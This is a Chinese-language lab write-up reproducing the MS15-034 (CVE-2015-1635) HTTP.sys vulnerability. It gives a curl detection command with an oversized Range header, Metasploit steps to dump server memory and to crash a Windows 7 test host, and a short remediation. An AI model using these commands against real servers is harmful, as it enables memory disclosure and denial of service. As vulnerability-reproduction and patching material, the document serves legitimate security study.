CVE-2015-1635(MS15-034)-HTTP.sys远程代码执行复现

0x01 漏洞简介

在2015年4月安全补丁日，微软发布的众多安全更新中，修复了HTTP.sys中一处允许远程执行代码漏洞，编号为：CVE-2015-1635（MS15-034 ）。利用HTTP.sys的安全漏洞，攻击者只需要发送恶意的http请求数据包，就可能远程读取IIS服务器的内存数据，或使服务器系统蓝屏崩溃。根据公告显示，该漏洞对服务器系统造成了不小的影响，主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。

0x02 影响版本

任何安装了微软IIS 6.0以上的的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

0x03 漏洞复现

攻击机: kali

靶机: windows7

   环境搭建:

在windows7中安装好iis服务，使用kali访问，查看是否可以访问到

 访问成功后，使用以下命令检测是否存在漏洞

curl http://192.168.166.130 -H "Host: 192.168.166.130" -H "Range: bytes=0-18446744073709551615"

 出现Requested Range Not Satisfiable说明存在漏洞

漏洞利用

使用 metasploit 开始攻击

  1  读取服务器内存数据:

search ms15-034     搜索相关模块

use 1 (auxiliary/scanner/http/ms15_034_http_sys_memory_dump )

set rhosts 192.168.166.130

run 

 2  进行ddos攻击

search ms15-034

use 0 

set RHOSTS 192.168.166.130

set threads 10

run

这时windows7会瞬间蓝屏并且重启

0x04 漏洞修复:

禁用IIS内核缓存